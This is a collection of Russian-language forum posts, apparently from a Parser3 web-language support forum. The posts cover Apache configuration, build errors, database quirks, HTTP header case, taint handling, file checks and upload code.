для тех серверов и uri, в которых вы считаете это необходимым. если вам всё равно, напишите вне всех серверов и вне всяких <location>:\
\
[code]\
ParserStatusAllowed\
[/code]"
"19083","так можно?\
\
[code]\
<VirtualHost localhost>\
    ServerAdmin zagrebelin@usi.ru\
    DocumentRoot C:\\tcpip\\www\\localhost\\www\
    ServerName localhost\
    ErrorLog C:\\tcpip\\www\\localhost\\logs\\error.log\
    CustomLog C:\\tcpip\\www\\localhost\\logs\\access.log common\
    AddHandler parser3-handler .html\
    ParserConfig C:\\tcpip\\parser\\auto.p\
    ScriptAlias /cgi-bin/ \"C:/tcpip/www/localhost/cgi-bin/\"\
ParserStatusAllowed\
</VirtualHost>\
[/code]\
\
\
[code]\
C:\\tcpip\\apache>Apache.exe -t\
Syntax error on line 1025 of c:/tcpip/apache/conf/httpd.conf:\
ParserStatusAllowed not allowed here\
[/code]\
\
если вынести из <VirtualHost></VirtualHost>, то результат тотже..."
"19084","http://httpd.apache.org/dev/apidoc/apidoc_ACCESS_CONF.html\
\
т.е. надо в location или в directory.\
\
забыл, как разрешал (это потому, что фича экспериментальная, в официальную доку не внесённая).\
\
если вам всё равно, можно так:\
[code]\
<location />\
ParserStatusAllowed\
</location>\
[/code]"
"19086","пока модуль к Apache ещё не вполне меня устраивает.\
\
скажем, сейчас в нём нет safe mode."
"19087","могу лишь заметить, что, как всегда, я всё уже указал в моём втором сообщении, на которое мне пришлось ссылаться целых два раза..."
"19088","При вставке данных (insert into ...) в поля типа text в БД, парсер коцает данные самым произвольным образом, может выкинуть кусок в начале текста, может в конце, может в середине, какой-либо закономерности я не нашел, также не нашел и зависимости от размера данных, т.е. один раз он нормально вставляет 20 Кб и тут же коцает данные по 800 байт.\
\
Подобных проблем, с тем же самым кодом на MySQL (с драйвером 3.1) я не нашел. Проблема отсутствует в версии 3.0.8."
"19089","Берем, к примеру, \"_test.html\" -> в блокноте его в UTF-8 -> на хосте с дефолтными настройками (за исключением $request:charset[UTF-8]) имеем:\
\
Unhandled Exception (parser.compile)\
/path/to/webspace/_test.html(3:208): parse error, expecting `$'\
\
стоит убрать первые 3 байта и все за исключением upper\\lower отрабатывает корректно..."
"19091","попробуйте почтой прислать файл, и, конечно, перепроверьте версию parser [префикс игнорируется аж с 3.0.6]"
"19092","но странно: ваши данные показывают, что в самом parser ошибки нет (см mysql драйвером OK).\
\
а разница между драйвером для 3.0.8 и 3.1.0 чисто косметическая."
"19093","Вставка протекает нормально, но (повторюсь) абсолютно произвольным образом из вставляемых данных исчезают куски, то в начале, то в конце, то посередине, а так как это куски XML документа (которые вырезаются из исходного документа матчем), то потом при выводе парсер справедливо ругается.\
\
Я бы привел примеры коцаемых и некоцаемых данных, но они совсем немаленькие (от 1 до 20 кб) и там трудно найти какую-либо закономерность."
"19094","не страшно, что нет закономерности, если есть воспроизводимость.\
есть ли?\
\
если есть, bug.html в моей почте помог бы делу."
"19095","[code]\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -Igd  -I../lib/md5    -g -O2 -MT memory.o -MD -MP -MF \".deps/memory.Tpo\" \\\
  -c -o memory.o `test -f 'memory.C' || echo './'`memory.C; \\\
then mv \".deps/memory.Tpo\" \".deps/memory.Po\"; \\\
else rm -f \".deps/memory.Tpo\"; exit 1; \\\
fi\
make[3]: *** No rule to make target `classes.awk', needed by `classes.inc'.  Stop.\
make[3]: Leaving directory `/root/parser/3.0.1/parser-3.1.0/src/classes'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/root/parser/3.0.1/parser-3.1.0/src/classes'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/root/parser/3.0.1/parser-3.1.0/src'\
make: *** [all-recursive] Error 1\
[/code]\
Подскажите, где что не так?\
RedHat 7.1"
"19098","Проверил на работе - теперь, для тех данных которые коцались, парсер ругается:\
[code]\
pqReadData() --  read() failed: errno=2\
No such file or directory\
\
pgsql://****@192.168.1.75/egoroff\
\
e:/apache/users/e3/classes/control/pop_wnd_file_add.p(46)\
exception.type=sql.connect\
[/code]\
Причем одни данные вставляются нормально, а вот другие нет, код вставки в БД не меняется.\
\
bug.html пришлю по почте немного позже"
"19099","[code]\
$tNews[^table::sql{SELECT NEWS_ID, NEWS_TITLE FROM NEWS}]\
\
^if($tFound){\
	$result($tNews.NEWS_ID)\
}{\
	$result(0)\
}\
[/code]\
\
и вижу такую ошибку 'NEWS_ID' column not found [parser.runtime]\
я догадался что нужно писать news_id маленькими буквами, но почему парсер не хочет брать большие буквы не пойму.\
\
(база данных оракл)"
"19101","Ошибка была со старой клиентской библиотекой (кстати в архиве опять старая библиотека 7.1.2), с новой ошибки парсера нет, но данные коцаются, вот."
"19104","К примеру, в руководстве по сборке парсера 3.1.0 (в том самом файлик INSTALL)\
libxml2 >= 2.5.5\
libxslt >= 1.0.28\
glib >= 1.2.10\
gdome2 >= 0.7.4\
То не стоит слишком доверять значку \">=\" и пытаться собирать парсер с более новыми версиями библиотек. Можно сказать, что скорее всего ничего не получится :( \
Пробовал собрать 3.1.0 с libxml2 2.5.8 & libxslt 1.0.31 получил ругань с thread'ми\
Попробовал собрать 3.0.8 с libxml2 2.5.5 & libxslt 1.0.28 (вместо 2.5.1 и 1.0.23) - ругается, что _xmlCharEncodingHandler' has no member named `inputInfo`\
\
Выходит, что библиотеки XML/XSLT не являются обратно совместимыми :(\
\
P.S. Может убрать тогда пресловутый значок \"больше или равно\" \
дабы пресечь попытки использовать более новые версии библиотек ? :)"
"19105","Речь идет о Parser 3.0007 не знаю, как обстоят дела в новой версии.\
\
Вопрос в том, что если я возьмо какой-нибудь страшный файл, не имеющий ничего общего с, например, картинкой в формате GIF, и переименую его расширение, сделав его GIF файлом.\
Потом попытаюсь сделать $photo[^image::measure[...]] и Parser выдаст мне:\
not GIF file - wrong signature\
Мне кажется было бы логичнее здесь не выдаввать подобную ошибку, а просто не создавать объект.\
\
Ведь как в таком случае мне отслеживать, какой файл мне грузит пользователь. При том варианте, который предлагаю я, можно было бы просто проверить ^if(def $photo){мы имеем картинку}{либо картинки нет}{либо это совсем не картинка}. А так получается, что зловредный пользователь может обрушить Parser.\
\
Можно ли это как-нибудь исправить или обойти?"
"19106","Документация по языку -> Сборка Parser из исходных кодов.\
\
...Для получения стабильной версии, забирайте [b]ветку «release_3_0_XXXX»[/b] (можно заменить на [b]ветку «release_*»[/b], хотя, по большему счету те кому надо сами догадаются...)."
"19107","[code]\
^try{\
  $photo[^image::measure[...]]\
}{\
  ^rem{ для начала говорим парсеру, что сами разберемся с проблемой }\
  $exception.handled(1)\
  ^rem{ а потом предпринимаем какие-либо действия, например ругаемся }\
  <p>Фигню ты грузишь, пользователь... Ну какая это нафиг картинка?</p>\
}\
[/code]"
"19108","Это тоже вариант...\
\
Но, все-таки, согласитесь - что это уже пошли исключения. А там, где исключения, там (лично на мой взгляд) уже не все чисто... Это какая-то искусственная надстройка, выходящая за рамки логики абстрактного программирования. Пусть это не асбстрактное, а вполне конкретное программирование, но...\
\
P.S. но ведь Parser все-таки падает!"
"19110","Если я работаю с базой данных (mySQL), то при загрузке таблицы многие функции я могу выполянть средствами самой базы. Что лучше - делать это так или выполнять  их средствами парсера\
Например:\
- сортировка\
- выборка определённых строк и т.д.?"
"19111","парсер не \"падает\". парсер сообщает, что он не может измерить как картинку какую-то фигню (в данном случае) и программист должен позаботится о действиях, которые сделает его код, чтобы все было красиво.\
\
кстати, при использовании исключений очень часто код получается более красивым и понятным.\
\
и логика, на мой взгляд не страдает.\
мы попытались что-то сделать (предварительно не особо вдаваясь в  проверку входных данных), у нас не получилось, мы проанализировали ошибку и обошли её (или сообщили о ней, если обойти невозможно)."
"19112","он это сделает быстрее и лучше, ведь он специально заточен под это."
"19114","Ваша правда, но есть одно но.\
Я не знаю, как это реализовано в Parser, но во всяком случае комплятор C++, генерируя код, работающий с исключениями, пичкает его дополнительными проверками, типа \"А не возникло ли у нас исключение\".\
Но так как в случае вещей, реализуемых на Parser, это не совсем накладно, то пусть будет по вашему."
"19115","Это часть хорошего языка программирования, ведь не секрет что осовную часть вермени программист как раз и исправляет ошибки. Она как раз и помогает отделить логику от кода обработки ошибок. Согласитесь смешанный код это всегда плохо.\
\
Часто гораздо проще сунуть в try то что вызывает ошибки по разным причинам (отстутствие файла, испорченный файл, сбой связи и т.д.), чем пытаться делать проверки для каждой из причин и соответственно на них реагировать.\
\
Здесь как раз такой случай."
"19117","в _test.html ругается что каталога нету\
\
но он есть ;)\
http://www.racermag.ru/classes/\
\
в чем может быть проблема?"
"19118","Если я делаю\
[code]\
^file:delete[/images/product/small/images.gif]\
[/code]\
и в папке [b]small[/b] больше нет файлов, то она тоже удаляется или я не прав?"
"19121","Не подскажет ли уважаемый All аналоги упомянутой штуке? Платформа - windows, должна следить за указанной папкой и фиксировать изменения, давать возможность вернуться к произвольной версии файла, комментировать изменения. Возможность параллельной работы нескольких авторов над проектом - не нужна, сам один всё делаю.\
Онлайновые штуки не подходят - я разорюсь на оплате услуг провайдера.  Ставить CVS не хочется - дома ноутбук слабый, да и осваивать премудрости не хочется - требуется что-то GUI-шное наподобие Subj.\
Важно - проектом занимаюсь и дома, и на работе, т.е. должна быть возможность хранить и проект, и софтину на USB Flash drive объёмом 64 Mb, который таскаю в кармане."
"19122","В версии 3.0.0007\
[code]\
$vrUri[aaa/bbb]\
$tblUri[^vrUri.split[/]]\
# в $tblUri получаем столбец piece со значениями aaa, bbb\
$tblUri[^tblUri.flip[]]\
# в $tblUri получаем столбцы 0, 1 со значениями aaa, bbb соответственно\
[/code]\
В версии 3.1.0\
[code]\
$vrUri[aaa/bbb]\
$tblUri[^vrUri.split[/]]\
# в $tblUri получаем столбец piece со значениями aaa, bbb\
$tblUri[^tblUri.flip[]]\
# в $tblUri получаем столбец piece со значением aaa\
[/code]"
"19123","Есть вот такой вот код...\
\
@analyze_log[]\
$log_table[^table::load[access_log]] \
$columns_table[^log_table.columns[]] \
\
$req[$columns_table.column]\
^columns_table.offset(1)\
\
$dt[$columns_table.column]\
^columns_table.offset(1)\
\
$ip[$columns_table.column]\
^columns_table.offset(1)\
\
$size[$columns_table.column]\
\
^MAIN:dbconnect{\
	$res[^table::sql{select id, url from muzindex}]\
}\
\
\
^log_table.menu{\
\
$req_cl[$log_table.$req]\
$req_cl[^req_cl.mid(4)]\
$req_cl[^req_cl.left(^req.length[]-9)]\
$resul[^res.select(^taint[uri][$res.url] eq $req_cl)]\
\
^resul.menu{\
<p>$resul.id - $resul.url\
}\
\
\
}\
\
-end code-\
\
$resul[^res.select(^taint[uri][$res.url] eq $req_cl)]\
Не работает.\
\
acces_log - лог апача в ней 4 столбца, которые выше обозначенны.\
Если вывести $res.url и $req_cl - полностью идентичны строки, даже пробела ни в начале ни в конце лишних\
\
Помогите плиз"
"19124","Работает в режиме командной строки. Для \"сохранения\" новой версии, пишешь \"ci -u .htaccess\", пишешь список изменений и точку. \
Для просмотра своего списка описания изменений пишешь rlog .htaccess. \
По сути, получается тоже самое, что и CVS, только сервер никакой не нужен. \
\
Штука есть в каждой *BSD (насколько мне известно), под win32 можно установить в пакет cygwin. \
http://www.cygwin.com/\
[url=http://www.freebsd.org/cgi/man.cgi?query=rcs&format=html]man rcs[/url]\
[url=http://www.freebsd.org/cgi/man.cgi?query=ci&format=html]man ci[/url]\
[url=http://www.freebsd.org/cgi/man.cgi?query=co&format=html]man co[/url]"
"19125","А что будет, если написать так:\
[code]\
$tNews[^table::sql{SELECT NEWS_ID as NEWS_ID, NEWS_TITLE FROM NEWS}]\
[/code]\
\
В любом случае, это не похоже на какой-либо баг парсера --- он чувствительный к регистру, в отличии от SQL..."
"19126","САБЖ... \
В парсере 3.1.0, $response:charset всегда выдаёт строчные буквы, например, \"WINDOWS-1251\". \
В XHTML всё положено писать строчными буквами и \"прописная кодировка\" на этом месте выглядит немного не кстати... \
Ещё, можно не сомневаться, что какие-нибудь умные программы (как броузеры, так и роботы) не умеют понимать кодировку прописными буквами (из-за нераспространённости такого написания), что будет приводить к неправильным результатом отображения информации..."
"19127","Почему они указываются в нижнем регистре? Mozilla 1.4 на win32 не понимает заголовок expires (всё буквы в нижнем регистре), и пишет, что у документа \"(no expiration set)\". (На FreeBSD, Mozilla 1.3b почему-то всё понимает, и сообщает дату, указанную парсером --- видимо глюк. ;-) )\
\
Вообще, это является стандартом de-facto писать всё с заглавной буквы в HTTP и MAIL сообщениях, но не смотря на это, парсер всегда всё делает по-своему. \
\
Код [i]$response:Expires[^date::now(+((1/24/60)*5))][/i] в парсере аналогичен коду [i]$response:expires[^date::now(+((1/24/60)*5))][/i] и выдаёт поле в нижнем регистре, что, как мне кажется, является ошибкой, так как парсер должен быть чувствителен к регистру и выдавать всё в оригинальном регистре. \
\
P.S. Не всегда вторая буква заголовка бывает строчная, например, есть поле ETag, так что лучше оставить проблему с регистром на плечи кодера, а не перекодировывать всё на свой лад."
"19128","на хостинге под линуксом не работают проверки -f, -d.\
т.е. в каталоге лежит много файлов и папок, а -f и -d говорят true только на некоторые файлы и папки соотв. права одинаковые.\
\
тот же скрипт под windows работает великолепно...\
\
почему?"
"19129"," И потом этот оператор станет для вас правилом хорошего тона. Он помогает избежать массы строк лишних ^if-ов.\
Посмотрите как реализован класс images.p в примерах: \"Изменение размеров графических...\"\
Там в качестве обработки ошибок используется именно ^try, в результате выводятся коды ошибок, но их всегда можно заменить текстом."
"19130","Для неё совсем не нужно больших ресурсов. В качестве GUI если не устаривает WinCVS можно выбрать http://www.tortoisecvs.org\
\
А RCS если я не ошибаюсь, это предшественник CVS, вроде CVS это дальнейшее его развитие."
"19131","[code]\
^if(^taint[uri][вася] eq вася){ \
  да, \"вася\" eq \"вася\", неважно каким языком он написан\
}{ \
  здесь никогда не будем \
}\
[/code]\
\
на тему taint много написано, почитайте.\
\
как я уже писал: для каждой задачи: своё средство, анализировать логи: отдельная задача."
"19132","просьба показать конкретное место в тексте стандарта, где требуется написание в нижнем регистре."
"19133","просьба показать конкретное место в тексте стандарта, где требуется написание в нижнем регистре."
"19134","# как я уже писал: для каждой задачи: своё средство, анализировать логи: отдельная задача.\
\
То есть вы хотите сказать, что у меня ничего не получится?"
"19136","проблема в другом - Mozilla 1.4 на win32 не понимает заголовок expires (всё буквы в нижнем регистре), автор пробует обойти эту фичу посылая вариант Expires, но заголовок клиенту приходит всё равно в нижнем регистре. Т.е. Парсер (или ещё кто-то по дороге) обкоцивает заголовок по своему усмотрению, что в данном случае неприемлемо."
"19137","а почему у вас проблема со сравнением из вашего сообщения совершенно непонятно, соответственно помочь нечем.\
\
ПАФ указал на ненужное использование taint в сравнении (не полное понимание механизма taint/untaint)\
\
если вы приведете кусок лога, где это сравнение не работает, то возможно станет легче помоч.\
\
так-же можете попробовать выделить проблему в более простом виде.\
\
P.S. иногда кроме пробелов в начале/конце попадаются одинаковые по написанию русские и английские буквы..."
"19138","тю...причём тут регистр...есть папка $folder, код проверяет ^if(-d $folder)и вовращает false, с файлами аналогично. а в редких случаях всё таки отдаёт true.\
\
ответит мне кто-нибудь?"
"19139","Если в переменной $folder находится строка somefolder а реальный каталог называется SomeFolder, под Linux вас пошлют очень далеко, под Windows с радостью примут."
"19140","Теперь на хостинге вылазит такое:\
\
out of memory: failed to reallocate to 2992 bytes. heap_used=7643136, heap_free=0, bytes_since_gc=15638364, total_bytes=2279360\
\
Это для большого документа. Ещё вчера этого не было. Этого никогда не было на версии 3.0.7 а код с тех пор не менялся.\
\
Эх видимо пока придётся опять мигрировать с 3.1 обратно на 3.0.7 или 3.0.8"
"19141","если вы думаете, что их нет, то напрасно, они могут быть.\
под какое количество написаний слова ExpIrES нужно наточить сервер, чтобы прошло через произвольный набор proxy серверов?"
"19142","Они гады чего-то там намудрили что перестало хватать памяти, даже на 3.0.7. Уроды"
"19143","он для того и писался, чтобы помогать в подобных случаях.\
\
ситуация \"то было/то нет\", означает, что вы ходите по краю ограничения на объём памяти для процесса. и переход на предыдущие версии не поможет."
"19144","Да видимо так. Тем более удивительно - я недавно апгрейдился на другой тариф, где память процесса в 2 раза больше, но проблем то не было с тем же документом и на предыдущем тарифе, где было всего 8 Мб, а тут 16.\
\
Видимо хостинг чего-то там накрутил. Гады короче, ща я их буду трясти."
"19145","написать на perl тривиальную программку, запрашивающую кусок памяти известного размера, и замусоривающую её ноликами.\
\
чтобы хостеру не объяснять деталей."
"19146","Подскажите плз, как быть, если вся страница (то, тчо статично) подгружается в броузере в 1251, а то что загружается с MySQL (новости) c помощью untaint проскакивает в koi8-r?"
"19147","А в доку по нему мне лезть не очень хочется. Я лучше ему буду детали объяснять, - ну не может вдруг так, ни с того ни с сего вылезти нехватка памяти, коей не было никогда за время существования этого документа (более полугода) и при этом и память процесса была в 2 раза увеличена и никаких реальных изменений в механизме обработки не было, точнее были, но в лучшую сторону - Миша помог, там раньше такой ужасный код в postprocess был, что можно с уверенностью говорить, что он ел памяти раза в полтора больше, а работал медленнее в 4 раза (данные rusage)."
"19148","http://www.parser.ru/docs/lang/app3mysql.htm"
"19149","сработало! спасибо %)"
"19150","Здравствуйте.\
\
При ./configure выводится сообщение, что libgc не найдено.\
===Начало лога===\
[nikon@nikon parser3]$ ./configure --prefix=/usr --sysconfdir=/etc --sharedstatedir=/var --mandir=/usr/share/man --infodir=/usr/share/info --disable-safe-mode --with-mysqlclient --with-oracle-client --with-charsets=windows-1251,koi8-r --with-static-gc=/usr/lib\
checking for a BSD-compatible install... /bin/install -c\
checking whether build environment is sane... yes\
checking for gawk... gawk\
checking whether make sets $(MAKE)... yes\
checking build system type... i686-pc-linux-gnu\
checking host system type... i686-pc-linux-gnu\
checking for a BSD-compatible install... /bin/install -c\
checking whether make sets $(MAKE)... (cached) yes\
checking for ranlib... ranlib\
checking for gawk... (cached) gawk\
checking for bison... bison -y\
checking bison version... 1.875 (ok)\
checking for g++... g++\
checking for C++ compiler default output... a.out\
checking whether the C++ compiler works... yes\
checking whether we are cross compiling... no\
checking for suffix of executables... \
checking for suffix of object files... o\
checking whether we are using the GNU C++ compiler... yes\
checking whether g++ accepts -g... yes\
checking for style of include used by make... GNU\
checking dependency style of g++... gcc3\
checking for gcc... gcc\
checking whether we are using the GNU C compiler... yes\
checking whether gcc accepts -g... yes\
checking for gcc option to accept ANSI C... none needed\
checking dependency style of gcc... gcc3\
checking for inline... inline\
configure: WARNING: enabling reading of files belonging to group+user other then effective\
configure: WARNING: enabling charset windows-1251\
configure: WARNING: enabling charset koi8-r\
checking for dynamic-link library extension... so\
checking for mysql client... /usr/lib/libmysqlclient.so\
checking for pgsql client... /usr/lib/libpq.so\
checking for libgc... no\
configure: error: please specify path to libgc: --with-shared-gc OR --with-static-gc\
===Конец лога===\
[nikon@nikon parser3]$ rpm -ql libgc             \
/usr/lib/libgc.so.1\
/usr/lib/libgc.so.1.0.2\
[nikon@nikon parser3]$ rpm -ql libgc-devel\
/usr/include/libgc\
/usr/include/libgc/cord.h\
/usr/include/libgc/ec.h\
/usr/include/libgc/gc.h\
/usr/include/libgc/gc_alloc.h\
/usr/include/libgc/gc_allocator.h\
/usr/include/libgc/gc_amiga_redirects.h\
/usr/include/libgc/gc_backptr.h\
/usr/include/libgc/gc_config_macros.h\
/usr/include/libgc/gc_cpp.h\
/usr/include/libgc/gc_gcj.h\
/usr/include/libgc/gc_inl.h\
/usr/include/libgc/gc_inline.h\
/usr/include/libgc/gc_local_alloc.h\
/usr/include/libgc/gc_mark.h\
/usr/include/libgc/gc_pthread_redirects.h\
/usr/include/libgc/gc_typed.h\
/usr/include/libgc/javaxfc.h\
/usr/include/libgc/leak_detector.h\
/usr/include/libgc/new_gc_alloc.h\
/usr/include/libgc/weakpointer.h\
/usr/lib/libgc.so\
/usr/share/man/man3/gc.3.gz\
[nikon@nikon parser3]$ rpm -ql libgc-devel-static\
/usr/lib/libgc.a\
/usr/lib/libgc.la\
\
Система ALT Linux Master."
"19151","на маке та же проблема - со статиком не собирается."
"19152","Сейчас попробую в makefile посмотреть, где он libgc хочет увидеть"
"19153","$ less configure.log\
[skipped]\
configure:3868: gcc -o conftest -g -O2   conftest.c  -L/usr/lib -lgc >&5\
/usr/lib/libgc.so: undefined reference to `dlopen'\
[skipped]"
"19154","...совершенно не важно, в каком регистре Парсер отдаёт заголовки, в любом случае после прохода через произвольный набор прокси-серверов они могут сильно измениться (в пределах допустимых стандартом, разумеется) и браузер должен воспринимать такие заголовки правильно. Тем более что в стандарте, если не ошибаюсь, указано что \"регистр в именах заголовков не учитывается\".\
\
В общем, Мозилла 1.4 гонит, на свалку её  :)"
"19155","ну это понятное дело.\
вы не понимаете о чём я говорю\
вот смотрите:\
\
$list[^file:list[$myfolder]]\
^list.menu{\
   ^if(-d $list.name){folder $list.name}\
   ^if(-f $list.name){file $list.name}\
}[<br>]\
\
вот этот код выводит только малую часть папок и файлов."
"19156","$list[^file:list[$myfolder]] - узнает про папку $myfolder\
\
а проверка ^if(-f $list.name){file $list.name} ищет файл не в $myfolder, а в _текущей_ папке.\
\
есть уверенность, что они совпадают?"
"19157","да, уверенность есть...если всё тоже самое на винде - то всё отлично. а хостимся мы на линуксе..."
"19158","вот ещё, если не проверять файл это или папка, то некоторые папки (те которые парсер не считает папками) имеют размер ($stat[^file::stat[$list.name]] $stat.size) 4096 байт..."
"19159","вы всё таки правы :)) был там один глюк, уже поправил... \
но под виндой и так работало."
"19161","причём при проверке на win32 всё находилось на одной и той же машине. \
\
Как я уже говорил, это является стандартом \"де-факто\", что заголовки должны начинаться с прописной буквы. Вопрос в другом --- зачем парсер меняет регистр заголовков, создавая дополнительные проблемы и отходя от того стиля, который принят в программном обеспечении от всех сторонних производителей? \
\
Как мне кажется, нужно оставлять заголовок в том регистре, в котором его даёт кодер. Ну а если кодер не в состоянии следить за соблюдением регистра своих заголовков --- то это уже его проблемы...\
\
В свою очередь, интересно заметить, заголовок Last-Modified проходит в правильном регистре.\
\
Вот результат выполнения скрипта \
[code]\
$response:Last-Modified[^date::now(-7)]\
$response:Expires[^date::now(+7)]\
\
test\
[/code]\
При использовании парсера 3.0.0007:\
[code]\
GET /test.html HTTP/1.1\
Host: localmojo\
\
HTTP/1.1 200 OK\
Date: Wed, 30 Jul 2003 18:15:37 GMT\
Server: Apache/1.3.26 (Win32)\
expires: Wed, 06-Aug-2003 18:15:42 GMT\
Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT\
content-length: 4\
Content-Type: text/html; charset=windows-1251\
\
test\
[/code]\
При использовании парсера 3.1.0:\
[code]\
GET /test.xhtml HTTP/1.1\
Host: localparser\
\
HTTP/1.1 200 OK\
Date: Wed, 30 Jul 2003 18:17:47 GMT\
Server: Apache/1.3.26 (Win32)\
expires: Wed, 06 Aug 2003 18:17:53 GMT\
Last-Modified: Wed, 23 Jul 2003 18:17:53 GMT\
content-length: 4\
Content-Type: text/html; charset=WINDOWS-1251\
\
test\
[/code]\
\
Обратите внимание на различие заголовков expires & Last-Modified в разных версиях парсера. Можно сделать вывод, что Apache корректирует Last-Modified, в то время, как в expires старого парсера имеет место быть баг с дефисами вместо пробелов..."
"19162","Вот 1.p:\
[code]\
$file[^file::load[text;http://parser.ru]]\
[/code]\
\
Вот что получается при запуске parser3 1.p\
\
... /htdocs/ind/http://parser.ru' read failed: No such file or directory ...\
\
Хостнг на valuehost.ru"
"19164","вас не смущает поведение Apache, исправляющего заголовок от того вида, как он был выдан cgi скриптом?"
"19167","ЗАДАЧА:\
Улучшить текущую схему: скорость, возможность поиска и др.\
\
Сейчас схема такая: XML и XSL - файлы, которые собираются parser-ом (.html) и выводятся пользователю, из MySQL также берется инфа по user-ам и др.\
\
Теоретически хранение в БД дает дополнительные возможности, но как ПРАВИЛЬНО хранить чтобы этими возможностями пользоваться ?\
\
У меня пока 3 варианта созрело:\
\
1. Хранить как обычно, формировать XML \"на лету\" средствами parser-а, обрабатывать его XSL-ем из файла и выдавать пользователю.\
- в БД править информацию сложнее, чем в файле\
- скорее всего более низкая скорость, учитывая, что данные в базе надо еще найти, а из файла я их по имени файла получаю\
+ возможность организации поиска по БД\
\
2. Хранить в БД XML-текст, вытаскивать его из БД, обрабатывать его XSL-ем из файла и выдавать пользователю.\
- большие результаты запросов БД (возможно будут тормозить, я не знаю)\
- поиск по БД не будет таким простым как в варианте 1\
+ не нужно формировать XML\
\
3. Хранить в БД XML и XSL\
- такие же как в В.1 и В.2\
+ все хранится в одной базе\
\
В общем либо я НЕПРАВИЛЬНО собираюсь хранить либо лучше все оставить как есть и смысл хранить XML в БД есть только в более навороченных базах.\
\
Кто что думает ?"
"19169","однако некоторые общие мысли:\
\
1. поиск. если по сайту, то лучше использовать \"паука\" типа yandexsite или аналогичного. если специфический (например по продуктам), то проще делать в случае варианта 1.\
\
2. лучше хранить не готовый xml. мало-ли, завтра ты решишь изменить его формат, т.к. найдешь более красивый способ обработки его xsl шаблонами? будешь хранить готовый - придется перелопачивать все в базе, а будешь хранить кусочки - изменишь только метод формирования xml-я.\
\
3. на лету формировать xml совсем несложно, к тому-же информацию стОит разбивать на возможно более мелкие кусочки (в пределах разумного, даже до абзацев бить как правило уже не нужно)\
\
4. xsl мне кажется лучше хранить в файликах (могу ошибаться). почему? как правило xsl шаблоны достаточно объемные, и редактировать их в textarea при хранении в БД - не лучший вариант. если хранить их на диске, то можно сделать и веб интерфейс (на безрыбье) и, при разработке, можно их открывать по ftp и править любимым редактором."
"19170","1. ResearchPro юзаю\
2. понял\
3. попробую :)\
4. согласен\
\
И [b]большое[/b] спасибо за развернутый ответ."
"19171","Хранить данные в БД vs. файлы существенно удобнее (и при разработке и потом при поддержке). Случаи, в которых это не так, можно не учитывать :) Что до редактирования данных - интерфейс можно написать 1 раз, потом проблема исчезнет (к примеру, экспорт-загрузка файл-база etc). \
Я все данные храню в таблицах, но у меня есть доп. поле, определяющее тип хранимого контента. К примеру html - то, что редактируется визуальным редактором и включается в xml страницы толко как CDATA (поскольку код после визуального редактора совсем не xhtml), xml (пускается под трансформ как есть, для страниц с жестко определенной структурой данных), или kod, который пускается предварительно под ^process{}. Тогда этим kod можно хоть из файлов доставать xml, хоть генерить по данным других таблиц. А на выходе всегда xml образуется."
"19172","Главную страницу парсера скачать? :))))))\
\
Загрузать можно только те файлы, которые находятся в ТВОЕЙ директории на ТВОЕМ хостинге..."
"19173","Попробовал использовать 1С в качестве БД для Каталога продукции.\
Получилось :)\
\
Делаю так:\
1. Модифицировал стандартную .ert-шку (для экспорта Справочника Номенклатура из Торговли в Торговлю) так, чтобы экспортировались только Справочники Номенклатура и СвойстваНоменклатуры.\
2. Экспортирую Номенклатуру (которую Менеджеры набивают) в XML\
Дальше как обычно:\
Обрабатываю его XSL-ем (из файла) и вывожу в броузер.\
\
Получается:\
- не нужно отдельную базу под Каталог\
- все изменения, которые заносят менеджеры в процессе работы появляются на сайте (экспорт раз в сутки)\
- в 1С интерфейс для заполнения БД очень удобный."
"19175","можно.\
http://www.parser.ru/docs/lang/tableload.htm\
http://www.parser.ru/docs/lang/app1.htm"
"19176","По 3.1 доки еще не все смотрел...\
даже не думал, что сделают загрузку с HTTP...\
приятно блин :)"
"19179","http://parser3.fatal.ru - посмотрите...\
\
И еще вопросы:\
1. Писать такие большие операторы - не извращение?\
2. Не лучше ли делать как в перле - каждый оператор хранить в отдельном файле и вызывать его только в случае надобности, ведь не каждый раз мне нужны ВСЕ операторы, а Parser будет все время шерстить файл с ними по 50 Кб? :))))"
"19182","в парсере его действительно нет ? (речь не про года/месяца/дни) или я отстал от жизни ?"
"19183","переопределяю класс date (плохо что новый и базовый не могут одинаково называться), новый класс называется myDate пытаюсь $d[myDate::now[]] - нифига! в логах пишут, что такого конструктора у myDate нет ... а хочется чтобы был ... :)"
"19184","Точно помню, что это было в форуме, но никак не моггу найти\
\
Не получается написать проверку для формы, чтобы если её два раза отправишь (или 3,  или 10), то в таблицу запись добавлялась только одна"
"19185","на Javascript что-то вроде:\
[code]\
var subm = 0;\
function ds_check(){\
	subm++;\
	if(subm > 1){\
		return false;\
		} else {\
		return true;\
	}\
}\
[/code]\
\
защита от back/reload:\
[code]<body ... onLoad=\"document.my_form.reset()\">[/code]\
\
вызываем:\
[code]<form ... name=\"my_form\" onSubmit=\"return ds_check()\">[/code]\
\
на Парсере: http://www.parser.ru/forum/?id=18321"
"19186","Вот так не в тему..."
"19187","Заработало всё, после того, как в базу стал загонять адреса, обработанные таинтом. И наконец механизм работы его понял. Спасибо."
"19188","вопрос в другом --- зачем была сделана такая фича, которая доставляет неудобства, и занимает процессорное время зря, создавая лишнюю (пусть и незначительную) нагрузку на сервер? Мне такая фича мешает, потому что я хочу отдавать заголовок в том виде, в каком его отдаёт большинство серверов, и не думать о том, кто это будет понимать, а кто нет. \
\
Я не понимаю одного --- зачем вы написали такой код, который делает невозможным использование стандартного написания заголовков? Вопрос именно в этом... \
\
Поведения Apache меня не смущает, так как он по возможности  приводит всё в корректный вид."
"19189","<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=hidden name=func value=fileload>\
<input type=\"file\" name=\"mp3\"> \
<input type=\"submit\" value=Отправить> \
</form> \
\
^if($form:func eq \"fileload\"){ \
    ^form:mp3.save[binary;$mp3.name] \
} \
\
\
Имя файла таким образом не получает. Как должно быть?"
"19191","я не говорил, что кодировку нужно писать в нижнем регистре, это не всегда так. Но опять же могу заметить, что стандарт XHTML чувствителен к регистру (в основном в нём принято всё писать строчными буквами), то есть тег <hr/> есть, но тега <HR/> не существует. \
\
Просьба показать, почему требуется изменение регистра кодировки от его оригинального значения, заданного в главном конфигурационном файле."
"19193","http://www.parser.ru/forum/?id=660 не про то?"
